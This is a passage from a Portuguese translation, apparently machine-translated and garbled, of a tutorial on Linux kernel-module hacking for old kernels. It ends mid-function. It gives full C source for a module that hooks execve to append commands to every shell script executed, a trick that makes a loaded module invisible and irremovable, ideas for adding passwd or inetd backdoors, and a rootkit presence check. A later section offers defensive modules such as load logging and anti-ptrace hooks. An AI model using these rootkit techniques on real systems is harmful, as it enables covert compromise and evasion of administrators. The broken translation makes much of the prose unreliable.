8.1 Como um vrus de LKM pode infetar qualquer arquivo (no s mdulos; prototipo) 

Por favor no me culpe por no mostrar um exemplo de funcionamento desta idia, eu
no tenho tempo para implementar isto no momento (olhar para lanamentos 
adicionais). Como voc viu em II.4.2 que  possvel pegar o execute de todo arquivo que 
usa um systemcall sys_execve(...) interceptado. Agora imagine um hacked systemcall que 
junta alguns dados para o programa que vai ser executado. O da prxima vez este programa 
 comeado, isto primeiro comea nossa parte adicionada e ento o programa original (s um 
esquema de vrus bsico). Todos ns sabemos que h alguns Linux / unix vrus existentes 
l fora, assim por que nao tentarmos usar LKMs q no infecte nossos 'elf' executaveis
e s modules. Nos poderiamos infectar nossos executaveis, de um modo que eles conferem 
para UID=0 e ento carregam nosso mdulo de infeco novamente... Eu espero que voc 
entenda a idia geral.  
Eu tenho que admitir, que a modificao precisou de arquivos 'elf' e  bastante enganador, 
mas com bastante tempo voc poderia fazer isto (entao d uma olhada em vrus de Linux 
existentes). Em primeiro lugar voc tem que conferir o tipo de arquivo que vai ser executado
atravs de sys_execve(...). H vrios modos de se fazer isto; um do mais rpidos eh
ler alguns bytes do arquivo e os conferindo contra o ELF string.
Depois disto pode usar voc write(...) / read(...) / ... chamadas para modificar o arquivo,
olhe o infector de LKM para ver como fazer isto. Minha teoria ficaria teoria sem qualquer 
prova, assim eu apresento um LKM *script* infector, muito fcil e intil. Voc no pode 
fazer vrus com isto, entao infecte uma escritura com certos comandos e nada mais; 
nenhuma caracteristica real de vrus. Eu lhe mostro este exemplo como um conceito de 
LKMs que infecta qualquer arquivo q voc executa. At mesmo poderiam ser infetados 
arquivos em Java, por causa das caractersticas providas pelo Kernel.
Aqui vem a pequena escritura do LKM infector: 

#define __KERNEL__
#define MODULE

/*taken from the original LKM infector; it makes the whole LKM a lot easier*/
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

int __NR_myexecve;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);

int (*open)(char *, int, int);
int (*write)(unsigned int, char*, unsigned int);
int (*read)(unsigned int, char*, unsigned int);
int (*close)(int);


/*see II.4.2 for explanation*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
    long __res;
    __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
    return (int) __res;
}

/*infected execve systemcall + infection routine*/
int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
 char *test, j;
 int ret;
 int host = 0;

 /*just a buffer for reading up to 20 files (needed for identification of
 execute file*/
 test = (char *) kmalloc(21, GFP_KERNEL);

 /*open the host script, which is going to be executed*/
 host=open(filename, O_RDWR|O_APPEND, 0640);

 BEGIN_KMEM

 /*read the first 20 bytes*/
 read(host, test, 20);  

 /*is it a normal shell script (as you see, you can modify this for *any*
 executable*/
 if (strstr(test, "#!/bin/sh")!=NULL)
 { 
  /*a little debug message*/
  printk("<1>INFECT !\n"); 
  /*we are friendly and attach a peaceful command*/
  write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
 }
 END_KMEM
 /*modification is done, so close our host*/
 close(host);
 /*free allocated memory*/ 
 kfree(test);
 /*execute the file (the file is execute WITH the changes made by us*/
 ret = my_execve(filename, argv, envp);
 return ret;
}


int init_module(void)                /*module setup*/
{
 __NR_myexecve = 250;
 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
 orig_execve = sys_call_table[SYS_execve];
 if (__NR_myexecve != 0) 
 {
  printk("<1>everything OK\n");
  sys_call_table[__NR_myexecve] = orig_execve; 
  sys_call_table[SYS_execve] = (void *) hacked_execve;
 }

 /*we need some functions*/
 open = sys_call_table[__NR_open]; 
 close = sys_call_table[__NR_close];     
 write = sys_call_table[__NR_write];
 read = sys_call_table[__NR_read];
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_execve]=orig_execve;                                      
}

 muito fcil desperdiar algumas palavras nisto. Claro que, este mdulo no 
precisa de kerneld para funfar (interessante para Kerneis sem apoios de kerneld)
Eu espero que voc adquira a idia em infectar qualquer executvel, este  um mtodo 
muito forte de sistemas grandes mortais. 

8.2 Como um virus de LKM nos ajuda a entrar 

Como voc deve saber, coders de vrus no so hackers, assim isso cobre caractersticas 
interessantes para hackers. Pense neste problema (s dez segundos), voc deveria perceber,
que um sistema inteiro pudesse ser seu introduzindo um trojan (infectado) LKM. Lembre-se
de todos o hacks agradveis q ns discutimos at agora. Ainda q sem trojans voc poderia 
hackear um sistema com LKMs. Entao use um transbordamento local mais amarelo para carregar um 
LKM em seu directoy Home. Acredite,  mais fcil de infectar um sistema com um LKM realmente
bom do que fazendo os mesmos eskemas novamente e novamente como root.  mais elagente 
deixar o LKM fazer o trabalho para voc. Seja CRIATIVO... :-)

9. Fazendo nosso LKM invisvel & irremovivel 

Agora  hora de comear a falar sobre o mais importante e interessante no Hack. 
Eu apresentarei. Esta idia vem do LKM q plaguez publicou na Phrack (outras 
pessoas como Solar Designer discutiu isto antes...).  
Facilmente ns podemos esconder arquivos, processos, diretrios, e tudo que que ns queremos. 
Mas ns no podemos esconder nosso prprio LKM. Entao carregue um LKM e d uma olhada em 
/proc/modules. H muitos meios p/ ns podermos resolver este problema. A primeira soluo 
poderia ser um arquivo parcial que esconde (veja II.4.3). Isto seria fcil implementar, mas 
h um modo melhor mais avanado e seguro. Usando esta tcnica voc tambm tm que interceptar 
o systemcall sys_query_module(...). Um exemplo desta aproximao pode ser visto em A-b.
Como eu expliquei em I.1 que um mdulo est finalmente carregado emitindo um systemcall 
init_module(...) que comear a funo de init do mdulo. init_module(...) adquire um 
argumento: struct mod_routines *routines. Esta estrutura contm informaoes muito importantes 
q carregam o LKM.  possvel para ns manipular alguns dados de certo modo desta estrutura nosso 
mdulo nao ter nenhum nome e nenhuma referncia. Depois deste o sistema j no mostrar nosso LKM 
em /proc/modules, porque ignora LKMs sem nome e uma conta de refernce igual para 0. 
O espetculo de linhas seguinte como ter acesso a parte de mod_routines para esconder 
o mdulo. 

/*from Phrack & AFHRM*/
int init_module()
{
  register struct module *mp asm("%ebp");   // or whatever register it is in
  *(char*)mp->name=0;
  mp->size=0;
  mp->ref=0;
 ...

Este cdigo confia no fato de gcc no manipular o registrador 'ebp' porque ns precisamos 
disto para achar a localizao de memria certa. Depois de achar a estrutura ns podemos 
fixar o nome da estrutura e membros de referncias para 0 que far nosso mdulo invisvel 
e tambm irremovivel, porque voc pode remover s LKMs que o kernel conhece, mas nosso 
mdulo  desconhecido para o kernel. Lembre-se que este truque s funciona se voc usa 
gcc de modo que no toque o registro que voc precisa ter acesso por adquirir a estrutura. Vc
tem que usar as opes de gcc seguintes: 

# gcc -c -O3 -fomit-frame-pointer module.c 

fomit-frame-pointer diz p/ cc q no mantm ponteiro de armao em registros para funes 
que no precisam de um. Isto mantm nosso registro limpe depois da chamada de funo de 
init_module(...), de forma que ns podemos ter acesso a estrutura. Na minha opinio este 
 o truque mais importante, porque nos ajuda desenvolver LKMs escondidos que sao tambm 
irremoviveis.
 
10. Outros modos de abusar do Kerneldaemon 

Em II.8 voc viu um modo de abusar kerneld. Nos ajudou a efetuar o infector de LKM. 
Tambm poderia ser til para nosso backdoor de LKM (veja II.5.1). Imagine o socketcall 
que carrega um mdulo em vez de comear nosso shellscript de backdoor ou programa. 
Voc poderia carregar um mdulo que adiciona uma entrada para passwd ou inetd.conf. Depois 
de carregar este segundo LKM voc tm muitas possibilidades de systemfiles varivel. 
Novamente, seja criativo. 

11. Como fazer para checar a presenca de nosso LKM 

Ns aprendemos muitos modos do qual um mdulo pode nos ajudar a subverter um sistema. 
Assim imagine se vc coda uma ferramenta de backdoor agradvel (ou leva uma q ja existe)
que no  implementado no LKM q vc usa naquele sistema; s algo como pingd, WWW remote 
shell, shell,.... Como voc pode conferir depois de anotar no sistema que seu LKM ainda 
est funcionando? Imagine o que aconteceria se voc entra em uma sesso e o admin est 
esperando por voc sem seu LKM carregado (assim nenhum processo eh escondido etc.). Assim 
voc comea fazendo o trabalho naquele sistema (lendo seus prprios logs, conferindo um 
pouco de trfico de correio e assim por diante) e todo passo  monitorado pelo admin. 
Bem nenhuma situao boa, ns temos que saber que nosso LKM est funcionando com uma checagem
simples. Eu suponho q o modo seguinte  uma soluo boa(embora possa haver muitos outros bons):
 
   - implemente um systemcall especial em seu mdulo 
   - escreva um programa user space que cheque aquele systemcall 

Aqui esta um mdulo que implementa nosso ' check systemcall ': 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

#define SYS_CHECK 200

extern void* sys_call_table[];


int sys_check()
{
 return 666;    
}

int init_module(void)                /*module setup*/
{
 sys_call_table[SYS_CHECK]=sys_check;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{}

Se voc emite um systemcall com o nmero 200 em eax ns deveramos adquirir um retorno de 
666. Aqui esta nosso programa user space que serve para isto: 

#include <linux/errno.h>
#include <sys/syscall.h>
#include <errno.h>

extern void *sys_call_table[];

int check()
{   
 __asm__("movl $200,%eax
         int $0x80");
}

main()
{
 int ret;
 ret = check();
 if (ret!=666) 
  printf("Our module is *not* present !!\n");
 else
  printf("Our module is present, continue...\n");
}

Na minha opinio este  um dos modos mais fceis de conferir a presenca de nosso LKM, 
entao tente. 

III. Solucoes (para admins)
 
1. LKM Detector Teoria & Ideias  
  
Acho q esta na hora de ajudar admins que querem seguranca em 
seu sistema contra LKMs hostis. Antes de explicar algumas 
teorias lembre-se do seguinte para um sistema seguro: 

   * nunca instale qualquer LKM q vc no tem os fontes (
     claro que, isto tambem eh pertinente para executaveis) 
   * se vc tem os fontes, os confira (se poder). Lembre-se do
     problema de trojan de tcpd. Pacotes de software grandes 
     so principalmente bastante complexos de entender, mas se 
     vc precisa de um sistema seguro vc deve analisa o codigo
     -fonte. 

Ate mesmo se vc segue essas dicas, poderia ser possivel que um 
intruso ative um LKM em seu sistema (overflows,exploitacao etc.).
Aih poderiamos fazer um LKM que loga todo modulo carregado,e 
negue toda tentativa de carga de um diretorio diferente de um
seguro (evitar overflows simples; isso no eh nenhum modo perfeito
...). Logar os modulos pode ser feito facilmente interceptando o 
systemcall create_module(...). O mesmo modo que vc poderia conferir
o diretorio de onde o modulo carregado vem.  
Tb seria possivel negar carregar qualquer modulo , mas este eh um 
modo muito ruim, porque vc realmente precisa deles. Assim poderiamos
modificar o modulo que o carrega de certo modo para prover um 
password que ser conferido em seu create_module(...) interceptado. 
Se o password est correta o modulo ser carregado, se no ser 
derrubado. Deveria estar claro que vc tem que esconder seu LKM para 
fazer isto irremovivel. Assim demos uma olhada em algumas 
implementacoes de prototipo do LKM q atribui o password  ao systemcall
create_module(...). 

1.1 Exemplo prtico de um Detector de prototipo 

Nada para dizer sobre aquela implementaco simples, soh intercepta 
sys_create_module(...) e loga os nomes de modulos que estavam 
carregados. 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_create_module)(char*, unsigned long);


int hacked_create_module(char *name, unsigned long size)
{
 char *kernel_name;
 char hide[]="ourtool";
 int ret;
 
 kernel_name = (char*) kmalloc(256, GFP_KERNEL);
 memcpy_fromfs(kernel_name, name, 255);

 /*here we log to syslog, but you can log where you want*/
 printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
 
 ret=orig_create_module(name, size);
 return ret;
}


int init_module(void)                /*module setup*/
{
 orig_create_module=sys_call_table[SYS_create_module];
 sys_call_table[SYS_create_module]=hacked_create_module;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_create_module]=orig_create_module; 
                               
}

Isto eh tudo que vc precisa, claro que vc deveria somar as linhas
requeridas para esconder o modulo, mas este no eh nenhum problema.
Depois de fazer isto deste modo irremovivel, um hacker pode modificar
so o arquivo de log, mas vc tb poderia economizar seus logs, para um
aruivo inacessivel para o hacker (veja II.1 para truques exigidos). 
Claro que vc tb pode interceptar sys_init_module(...) que tb mostraria
todo modulo, que eh justo um assunto interessante. 

1.2 Exemplo prtico de protecao a prototipo password create_module(...)
 
Esta subseco tratar da possibilidade de somar autenticaco para 
modulos inicializaveis . Nos precisamos de duas coisas para administrar
esta tarefa: 

  * um modo para conferir modulos carregaveis (fcil) 
  * um modo para autenticar (bastante dificil) 

O primeiro ponto eh muito fcil codificar, soh interceptar 
sys_create_module(...) e conferir alguma varivel que conta o kernel
wether, este processo de carga eh legal. Mas como fazer autenticao.
Eu tenho que admitir que eu no gastei muitos segundos em pensar neste
problema, assim a soluco eh mais que ruim, mas este eh um artigo de 
LKM, assim use seu cerebro, e cria algo melhor. Meu modo para fazer 
isto, era interceptar o systemcall stat(...) que eh usado quando vc
digita qlq comando, e as necessidades do sistema para procurar isto. 
To tipo, soh um password como comando e o LKM conferirh isto 
interceptando 'stat' [eu sei que isto eh mais que inseguro; ate mesmo
um autor de Linux poderia derrotar este esquema de autenticaco, mas
(novamente) este no eh o ponto aqui...]. De uma olhada em minha 
implemtacao (eu rasguei muitos LKMs existentes, um atraves de 
plaguez...): 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <sys/stat.h>


extern void* sys_call_table[];

/*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
int lock_mod=0;

int __NR_myexecve;

/*intercept create_module(...) and stat(...) systemcalls*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat) (const char *, struct old_stat*);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
 char *tmp = src;
 int compt = 0;

 do {
  dest[compt++] = __get_user(tmp++, 1);
 }
 while ((dest[compt - 1] != '\0') && (compt != n));

 return dest;
}

int hacked_stat(const char *filename, struct old_stat *buf)
{
 char *name;
 int ret;
 char *password = "password"; /*yeah, a great password*/

 name    = (char *) kmalloc(255, GFP_KERNEL);

 (void) strncpy_fromfs(name, filename, 255);

 /*do we have our password ?*/
 if (strstr(name, password)!=NULL) 
 { 
  /*allow loading a module for one time*/
  lock_mod=1; 
  kfree(name);
  return 0;
 } 
 else 
 {
  kfree(name);
  ret = orig_stat(filename, buf);
 }
 return ret;
}

int hacked_create_module(char *name, unsigned long size)
{
 char *kernel_name;
 char hide[]="ourtool";
 int ret;
 
 if (lock_mod==1)
 {
  lock_mod=0;
  ret=orig_create_module(name, size);
  return ret;
 }
 else
 {
  printk("<1>MOD-POL : Permission denied !\n");
  return 0;
 }
 return ret;
}


int init_module(void)                /*module setup*/
{
 __NR_myexecve = 200;

 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
 
 sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];                                       

 orig_stat=sys_call_table[SYS_prev_stat];
 sys_call_table[SYS_prev_stat]=hacked_stat;

 orig_create_module=sys_call_table[SYS_create_module];
 sys_call_table[SYS_create_module]=hacked_create_module;

 printk("<1>MOD-POL LOADED...\n");
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_prev_stat]=orig_stat;                                      
 sys_call_table[SYS_create_module]=orig_create_module;                                      
}

Este codigo parece bem claro. A lista seguinte lhe conta o que 
melhorar neste LKM para fazer isto mais seguro, talvez um pouco
paranico:): 

  * ache outro modo para autenticar (use sua propria interface user
    space, com seus proprios systemcalls; use userID (no soh um 
    password); talvez vc tem um device de biometric - > leia 
    documentaco e codifique seu device-driver para Linux e use;)...)
    MAS LEMBRE-SE: a proteco de hardware mais segura (dongles,
    biometric, podem ser derrotados frequentemente, sistemas de 
    smartcard por causa de uma interface de software muito insegura;.
    Vc poderia afiancar seu sistema inteiro com um mecanismo assim.
    Controle seu kernel inteiro com um smartcard:) 
  * Outro no assim 'extremo' modo seria implementar seu proprio 
    systemcall que seria responsvel pela autenticaco. (veja II.11
    para um exemplo de como criar seu proprio systemcall). 
  * ache um modo melhor para se registrar sys_create_module(...). 
    Conferir uma varivel no eh muito seguro, se alguem arraigasse 
    seu sistema ele poderia consertar a memoria (veja a proxima parte) 
  * ache um modo para fazer isto impossivel para um atacante sem usar
    autenticaco para inicializa o LKM dele 
  * adicione caracteristicas ocultas ao LKM 
  * ...

Como vc pode ver, h muito trabalho a fazer. Mas ate mesmo com esses 
passos, seu sistema nao esta totalmente seguro. Se alguem hackeo o 
sistema ele poderia achar outros truques para carregar o LKM dele 
(veja proxima parte); talvez ele no precisa de um LKM ateh mesmo,
porque ele soh arraigou o sistema, e no quer esconder
arquivos/processos (e as outras coisas de wonderfull possiveis com 
LKMs). 

2. Ideias de Anti-LKM-Infector 

   * o residente de memoria (realtime) scanner (como TSR virus 
     scanner em DOS ou VxD scanner virus em WIN9x) 
   * scanner q confere arquivo (conferindo arquivos de modulo 
     a procura de sinais de uma infeccao)
 
O primeiro metodo eh possivel por interceptar sys_create_module 
(ou o chamam de init_module). 
A segunda aproximaco, precisa de alguma caracteristica que vc 
pode achar em qlq arquivo infectado. Nos sabemos que o infector
de LKM junta dois arquivos de modulo. Assim nos podemos conferir
para duas ELF headers/signatures. Claro que, qlqr outro infector
de LKM poderiam usar um metodo melhorado (encryption, selfmodifying
code etc.). Eu no apresentarei um scanner q confere arquivo, porque
h pouco vou escrever um programa (user space) que le o modulo, e 
confere os arquivos ELF headers (o 'ELF' string,por exemplo). 

3. Faca seus programas sem pista (teoria) 

Agora eh tempo para bater hackers que bisbilhotam nossos executaveis. 
Como eu disse antes, strace eh a ferramenta de nossa escolha. 
Eu apresentei isto como uma ferramenta que nos ajuda a ver qual 
systemcalls so usados em certos programas. Outro uso muito interessante
para o  strace eh esbocado no papel 'Human to Unix Hacker' por TICK/THC.
Ele nos mostra como usar strace para sequestrar TTY . Apenas o strace no
seu proximo shell, e vc adiquiri tudo q ele faz. Assim, vc's admins 
deveriam perceber o perigo de strace. 
O programa strace usa a funco de API seguinte: 

#include <sys/ptrace.h> 

int ptrace(int request, int pid, int addr, int data); 

Bem, como nos podemos controlar strace? No seja tolo e remova 
strace de seu sistema, mas nao pense q tudo tah ok - como lhe 
mostro ptrace(...) eh uma funco de biblioteca. Todo hacker pode
codificar o proprio programa dele fazendo igual a strace. Assim 
nos precisamos de uma soluco melhor e mais segura. 
Sua primeira ideia poderia ser procurar um systemcall interessante
que poderia ser responsvel para o tracado; h um systemcall que 
faz ; mas olhemos outra aproximaco antes. Lembre-se de II.5.1: eu
falei sobre os flags de tarefa. Havia duas flags que representam 
processos localizados. Neste modo nos podemos controlar o tracado
em nosso sistema. H pouco, intercepte o systemcall sys_execve(...)
e confira o processo atual para um dos dois jogos de flags.
 
3.1 Exemplo prtico de um prototipo Anti-investigador(Anti-Tracer)

Isto eh meu pequeno LKM chamado 'Anti-Tracer'. Isto basicamente 
implementa as ideias de 4. O campo de flags de nosso processo que 
usa o ponteiro atual pode ser facilmente recobrado (estrutura de 
tarefa). O resto no eh nada novo. 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

int __NR_myexecve;

int (*orig_execve) (const char *, const char *[], const char *[]);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
 char *tmp = src;
 int compt = 0;

 do {
  dest[compt++] = __get_user(tmp++, 1);
 }
 while ((dest[compt - 1] != '\0') && (compt != n));
  return dest;
}

int my_execve(const char *filename, const char *argv[], const char *envp[])
{
 long __res;
 __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
                  (filename)), "c"((long) (argv)), "d"((long) (envp)));
 return (int) __res;
}


int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
 int ret, tmp;
 unsigned long mmm;
 char *kfilename;

 /*check for the flags*/
 if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) { 
  /*we are traced, so print the traced process (program name) and return
  without execution*/
  kfilename = (char *) kmalloc(256, GFP_KERNEL);
  (void) strncpy_fromfs(kfilename, filename, 255);
  printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
  kfree(kfilename);
  return 0;
 }
 ret = my_execve(filename, argv, envp);
 return ret;
}

int init_module(void)                /*module setup*/
{
 __NR_myexecve = 200;
 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
 orig_execve = sys_call_table[SYS_execve];
 if (__NR_myexecve != 0) 
 {
  sys_call_table[__NR_myexecve] = orig_execve; 
  sys_call_table[SYS_execve] = (void *) hacked_execve;
 }
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_execve]=orig_execve;                                      
}

Este LKM tb loga qualquer executvel q alguem quis executar com 
tracing. Bem este LKM cheka algumas flags, mas isso se vc comeca 
localizando um programa que j est correndo. H pouco imagine um
programa (shell ou tudo) correndo com o PID 1853, agora vc faz um
'strace -p 1853'. Isto funcionara. Assim por seguranca o unico 
modo eh enganchar sys_ptrace(...). Olhe o modulo seguinte: 

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_ptrace)(long request, long pid, long addr, long data);

int hacked_ptrace(long request, long pid, long addr, long data)
{
 printk("TRACING IS NOT ALLOWED\n");
 return 0;
}


int init_module(void)                /*module setup*/
{
 orig_ptrace=sys_call_table[SYS_ptrace];
 sys_call_table[SYS_ptrace]=hacked_ptrace;
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_ptrace]=orig_ptrace;                                      
}

Use este LKM e ninguem poder lhe localizar mais. 

4. Enrigecendo o kernel do Linux com LKMs  

O assunto desta secao pode soar familiar aos leitores da Phrack. 
Route introduziu ideias agradveis para fazer o sistema de Linux 
mais seguro. Ele usou alguns patch's. Eu quero mostrar que algumas 
ideias tb podem ser implementadas por LKMs. Lembre-se disso sem 
esconder esses LKMs isto tb eh util (esconder, claro que eh algo 
que vc deve fazer), porque os patchs de Route tb so despreziveis 
se alguem hackeasse o sistema; e um usurio nao-privilegiado no 
pode remover nosso LKM, mas ele pode ver isto. 
A vantagem de usar LKMs em vez de um static kernel patch : vc pode
facilmente administrar a seguranca do sistema inteiro, e instalar
mais facilmente em sistemas corrente. No eh necessrio instalar
um kernel novo, em sistemas sensiveis vc precisa de todo segundo.
Os patchs de Phrack tb somaram alguma caracteristica destacando
que eu no implementei, mas h mil modos para fazer isso. 
Um simples modo estaria usando printk(...) [Nota: eu no olhei 
todo aspecto dos patchs de Route. Talvez hackers de kernel 
poderiam fazer mais com LKMs.] 

4.1 Por que nos devemos permitir direitos de execuco de programas
    arbitrrios? 

O LKM seguinte eh algo como o patch de kernel de Route que 
confere direitos de execuco: 

#define __KERNEL__
#define MODULE

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

/* where the sys_calls are */

int __NR_myexecve = 0;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);

int (*open)(char *, int, int);
int (*close)(int);


char *strncpy_fromfs(char *dest, const char *src, int n)
{
 char *tmp = src;
 int compt = 0;

 do {
  dest[compt++] = __get_user(tmp++, 1);
 }
 while ((dest[compt - 1] != '\0') && (compt != n));
 return dest;
}

int my_execve(const char *filename, const char *argv[], const char *envp[])
{
 long __res;
 __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
 (filename)), "c"((long) (argv)), "d"((long) (envp)));
 return (int) __res;
}

int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
 int fd = 0, ret;
 struct file *file;

 /*we need the inode strucure*/
 /*I use the open approach here, because you should understand it from the LKM
 infector, read on for seeing a better approach*/
 fd = open(filename, O_RDONLY, 0); 
        
 file = current->files->fd[fd];

 /*is this a root file ?*/
 /*Remember : you can do other checks here (route did more checks), but this
              is just for demonstration. Take a look at the inode structur to
              see other items to heck for (linux/fs.h)*/
 if (file->f_inode->i_uid!=0)
 {
  printk("<1>Execution denied !\n");
  close(fd);
  return -1;
 }
 else /*otherwise let the user execute the file*/
 {
  ret = my_execve(filename, argv, envp);
  return ret;
 }
}

int init_module(void)                /*module setup*/
{
 printk("<1>INIT \n");
 __NR_myexecve = 250;
 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
 orig_execve = sys_call_table[SYS_execve];
 if (__NR_myexecve != 0) 
 {
  printk("<1>everything OK\n");
  sys_call_table[__NR_myexecve] = orig_execve; 
  sys_call_table[SYS_execve] = (void *) hacked_execve;
 }

 open = sys_call_table[__NR_open]; 
 close = sys_call_table[__NR_close];     
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 sys_call_table[SYS_execve]=orig_execve;                                      
}

Isto no est exatamente igual ao patch de Kernel de Route.
Route conferiu o caminho e nos conferimos o arquivo (um cheque
de caminho tb seria possivel, mas em minha opinio um cheque 
de arquivo eh o modo melhor). Eu soh implementei um cheque 
para UID do arquivo, assim um admin pode filtrar o processo
de execuco do arquivo. Como eu dito o open/fd aproximadamente,
eu usei acima, no eh o modo mais fcil; eu usei isto porque
deveria estar familiarizado a vc (lembre-se, o infector de LKM
usou este metodo). Para nosso proposito a funco de kernel 
seguinte eh tb possivel (mais fcil modo): 

int namei(const char *pathname, struct inode **res_inode); 

int lnamei(const char *pathname, struct inode **res_inode); 

Essas funces levam um certo pathname e devolvem o inode 
correspondente a estrutura. A diferenca entre as funces
sao solucionar bugs no symlink : lnamei no soluciona
um symlink e retorna a estrutura do inode para o proprio 
symlink. Como um hacker vc poderia modificar tb inodes. 
H pouco os recobre pegando sys_execve(...) e usando 
namei(...) (o modo que nos usamos tb para controlar a 
execuco) e manipular o inode (eu mostrarei um prtico
exemplo desta ideia em 5.3). 

4.2 O Remendo de Vinculo ... ("Link Patch") 

Todo usurio de Linux sabe disso, bugs de symlink so algo 
que frequentemente conduz a problemas serios de seguranca 
do sistema. Andrew Tridgell desenvolveu um patch de kernel 
que previne um processo de 'seguindo um link que est em um
+t (principalmente o diretorio /tmp/), a menos que eles 
possuem o link'. Solar Designer somou um codigo que tb 
previne os usurios de criar hard-links em um diretrio +t
para arquivos q eles nao possuem . Eu tenho q admiti que 
o symlink conserta bugs em uma capa que nos no podemos
alcancar facilmente atraves de nosso LKM psotion. L 
simbolos nao sao exportado, nos nao poderiamos consertar
qlq systemcalls q nos poderiamos interceptar. Solucionar 
o symlink eh acabado pelo VFS. De uma olhada na secao IV
para metodos que poderiam nos ajudar a resolver este problema
(mas eu no iria usar os metodos de IV p/ seguranca de um 
sistema). Vc pode desejar saber por que eu no faco uso do
systemcall sys_readlink(...) para resolver o problema. 
Bem esta chamada eh usada se vc faz um 'ls -a symlink' mas 
no eh chamado se vc emite um 'cat symlink'. Em minha opinio 
vc deveria deixar isto como um patch de kernel. Claro que 
vc pode codificar um LKM que intercepta o systemcall 
sys_symlink(...) em ordem para q impeca um usurio de criar
symlinks no diretrio /tmp. Olhe ao duro uma LKM para uma 
implementaco semelhante. Ok, o problema de symlink eh um
pouco dificil de transformar em LKM. Sobre a ideia de Solar
Designer que concerne restrices a hard link . Isto pode 
ser feito como LKM. Nos soh precisamos interceptar 
sys_link(...) que eh responsvel por criar qualquer 
hard link. De uma olhada em hacked systemcall (o fragmento
de codigo no faz exatamente igual ao patch de kernel, 
porque nos soh conferimos o diretrio '/tmp/' , no o 
bit(+t), apenas pegajoso, isto tb pode ser feito olhando
a estrutura de inode do diretorio [veja 5.1]) : 

int hacked_link(const char *oldname, const char *newname)
{
 char *kernel_newname;
 int fd = 0, ret;
 struct file *file;

 kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
 memcpy_fromfs(kernel_newname, newname, 255);

 /*hard link to /tmp/ directory ?*/
 if (strstr(kernel_newname, (char*)&hide ) != NULL)
 {
  kfree(kernel_newname);

  /*I use the open approach again :)*/
  fd = open(oldname, O_RDONLY, 0); 
       
